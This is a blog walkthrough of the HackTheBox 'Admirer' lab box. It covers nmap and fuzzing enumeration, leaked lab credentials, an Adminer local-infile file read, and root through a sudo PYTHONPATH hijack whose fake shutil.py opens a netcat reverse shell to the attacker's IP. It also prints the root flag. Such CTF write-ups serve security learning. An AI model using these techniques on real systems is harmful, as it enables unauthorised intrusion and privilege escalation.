HackTheBox Admirer Writeup – 10.10.10.187

Hello and welcome back to nav1n.com. Another weekend is here and the HackTheBox bought us another new machine to play. This time it’s a Linux box called “Admirer” an easy box with 20 base points.

Here is my writeup of HackTheBox Admirer Linux box10.10.10.187. The box makers are PolarBearer & GibParadox.

Difficulty: Easy

Enumeration

As usual I add the machine IP to my etc/hosts as admirer.htb and fire up the NMAP full-scan to kick things off.

$ nmap -sS -sU -T4 -A -v admirer.htb  
PORT      STATE         SERVICE       VERSION
21/tcp    open          ftp           vsftpd 3.0.3
22/tcp    open          ssh           OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp    open          http          Apache httpd 2.4.25 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
2/udp     open|filtered compressnet
88/udp    open|filtered kerberos-sec
158/udp   open|filtered pcmail-srv
786/udp   open|filtered concert
1050/udp  open|filtered cma
1419/udp  open|filtered timbuktu-srv3
6002/udp  open|filtered X11:2
|_x11-access: ERROR: Script execution failed (use -d to debug)
8193/udp  open|filtered sophos
18250/udp open|filtered unknown
21320/udp open|filtered unknown
21923/udp open|filtered unknown
33354/udp open|filtered unknown
34038/udp open|filtered unknown
36458/udp open|filtered unknown
49181/udp open|filtered unknown
49188/udp open|filtered unknown

NMAP scan found us a several TCP and UDP ports are open. I as well noticed hidden directory /admin-dir in the robots.txt. Upon checking the website hosted, it looked like an image gallery website.

Robots.Txt

The Admin directory access is forbidden.

FUZZING

As said in the robotx.txt I wanted to see if the files mentioned in the directory can be access, I used WFUZZ and simple.txt payload to fuzz, within a minute I found the said file names and download them.

http://admirer.htb/admin-dir/contacts.txt

##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb

##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

http://admirer.htb/credentials.txt

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Accessing FTP

As we saw the FTP is running from the nmap scan, and now we found the FTP creds, let’s look at the FTP.

We found 2 files dump.sql and html.tar.gz inside the ftp directory, and we immediately download them to our Admirer working directory for further enum.

From the database dump, let us see if we can find something. Let us use DBeaver to open dump.

Database Dump

-- MySQL dump 10.16  Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost    Database: admirerdb
-- ------------------------------------------------------
-- Server version	10.1.41-MariaDB-0+deb9u1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `items`
--

DROP TABLE IF EXISTS `items`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `items` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `thumb_path` text NOT NULL,
  `image_path` text NOT NULL,
  `title` text NOT NULL,
  `text` text,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `items`
--

LOCK TABLES `items` WRITE;
/*!40000 ALTER TABLE `items` DISABLE KEYS */;
INSERT INTO `items` VALUES (1,'images/thumbs/thmb_art01.jpg','images/fulls/art01.jpg','Visual Art','A pure showcase of skill and emotion.'),(2,'images/thumbs/thmb_eng02.jpg','images/fulls/eng02.jpg','The Beauty and the Beast','Besides the technology, there is also the eye candy...'),(3,'images/thumbs/thmb_nat01.jpg','images/fulls/nat01.jpg','The uncontrollable lightshow','When the sun decides to play at night.'),(4,'images/thumbs/thmb_arch02.jpg','images/fulls/arch02.jpg','Nearly Monochromatic','One could simply spend hours looking at this indoor square.'),(5,'images/thumbs/thmb_mind01.jpg','images/fulls/mind01.jpg','Way ahead of his time','You probably still use some of his inventions... 500yrs later.'),(6,'images/thumbs/thmb_mus02.jpg','images/fulls/mus02.jpg','The outcomes of complexity','Seriously, listen to Dust in Interstellar\'s OST. Thank me later.'),(7,'images/thumbs/thmb_arch01.jpg','images/fulls/arch01.jpg','Back to basics','And centuries later, we want to go back and live in nature... Sort of.'),(8,'images/thumbs/thmb_mind02.jpg','images/fulls/mind02.jpg','We need him back','He might have been a loner who allegedly slept with a pigeon, but that brain...'),(9,'images/thumbs/thmb_eng01.jpg','images/fulls/eng01.jpg','In the name of Science','Some theories need to be proven.'),(10,'images/thumbs/thmb_mus01.jpg','images/fulls/mus01.jpg','Equal Temperament','Because without him, music would not exist (as we know it today).');
/*!40000 ALTER TABLE `items` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2019-12-02 20:24:15

After going through the dump we noticed this db is of the website running. We did not find anything useful, so we proceed to enum another file we downloaded: html.tar.gz.

After going through the extracted files from html.tar.gz, the first thing we noticed is index.php and the database credential of user waldo.

Going further we also noticed another set of php files inside the directory utility-scripts and the in the file db_admin.php has a new credential for the user waldo.

So far we found 2 set of credentials for the user waldo.

  • $servername=localhost:$username:waldo:$password:]F7jLHw:*G>UPrTo}~A
  • $servername = “localhost”;$username = “waldo”;$password = “Wh3r3_1s_w4ld0?”

There was no way we could use the credentials we have, we tried to use SSH, we tried to use it for FTP and to WordPress etc, so we proceed to Google for help.

A simple Google search of the database name, a PHP database management tool called “Adminer (formerly phpMinAdmin)” was appeared as the first result, since the name of the machine is as well similar to the tool, we decided to look in to it.

The following couple of articles I revered helped me a alot.

What is the Vulnerability

After reading a couple of articles we understood that the tool Adminer is exploitable. The administration file “adminer.php” is exploitable, however in our case the machine maker seems to have renamed the file to admin_tasks.php.

So as per the articles I read the Adminer vulnerability was discovered in version 4.3.1 which had a server-side request forgery vulnerability (SSRF).

willem de groot tweet

I was somehow able to find the installation folder but I wasn’t able to login, I was keep getting “Session Expired” error.

Installing Adminer Tool Locally

Reading further I found that it is possible to connect to remote Adminer database from locally installed instance using the credentials.

Installing Adminer tool in my Kali

Connecting The Database:

Local Instance of Adminer

Now I open the remote instance of Adminer installed in the Admirer machine and connect to my local machine and database.

Creating MySQL Database and User

Before this I made a simple database “adlocal” and a blank table “test_table”. I made a new user “admirerlocal” and provide the user full privilege to the database “adlocal“.

Permission and Confirmation:

MariaDB [(none)]> show grants for admirerlocal;
+-------------------------------------------------------------------------------------------------------------+
| Grants for admirerlocal@%                                                                                   |
+-------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'admirerlocal'@'%' IDENTIFIED BY PASSWORD '*91D7FE1E224DD0012E90AC0DCAFD84AA64952857' |
| GRANT ALL PRIVILEGES ON `adlocal`.* TO 'admirerlocal'@'%'                                                   |
+-------------------------------------------------------------------------------------------------------------+
2 rows in set (0.000 sec)

Once logged-in I run the following command.

local data local infile 'info.php;
into table adlocal.adtable
fields terminated by '\n'

Upon checking my table “adlocal” I was able to see the use Waldo’s another password.

SSH and Getting User Waldo

Using the password got from the Adminer exploit, I was able to ssh the box and obtain user.txt from Waldo home directory.

Upon checking sudo -l I noticed the user Waldo has a special permission on /opt/scripts/admin_tasks.sh, SetEnv is to define the value of environment variables. .

Reading the admin_tasks.sh file

waldo@admirer:/$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:/$ 
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi

# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done
exit 0

Also going further I found the Python backup script backup.py in the /opt/scripts. The backup script uses Python Shutil module. What I understood from HTB forums is; this is the exploit point.

waldo@admirer:/$ cd opt/scripts
waldo@admirer:/opt/scripts$ ls
admin_tasks.sh  backup.py
waldo@admirer:/opt/scripts$ cat backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
waldo@admirer:/opt/scripts$ 

So finally a breakthrough, after going through the backup.py the definition make_archieve(dst, ‘gtzr’, src) where we should concentrate. We could use shutil.py custom script to run a fake backup, and we could execute our reverse shell payload within the script and get reverse shell.

Here is the script we made:

#!/usr/bin/python3
import os;

def make_archive(s,d,t):
  os.system("nc 10.10.14.27 9999 -e /bin/sh")

We made directory called run within the Waldo’s home directory to save the script and saved it as shutil.py

After saving the file as shutil.py, we made file executable.

After we set up our listener listening the port 9999 and execute the admin_tasks.sh and path-hijacking using the PYTHONPATH. We select the option 6 that runs web data backup and simultaneously we got the reverse connection from the server as root.

Reference:

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1542133788.pdf
waldo@admirer:~$ sudo PYTHONPATH=/"/home/waldo/run/:$PYTHONPATH" /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:~$ 
# root @ ns09 in ~/htb/admirer [10:38:32] 
$ nc -lvnp 9999         
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
    
Ncat: Connection from 10.10.10.187.
Ncat: Connection from 10.10.10.187:35614.
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
aaa05ac302ad565b54e0bf6d3ae52b74

That’s all and thank you. This box was a good experience and to learn how to exploit backup using Python PATH hijacking using the half cooked codes that’s available for low privilege users.


Navin

Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile: https://www.hackthebox.eu/nav1n

You may also like...

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
Sorry, that action is blocked.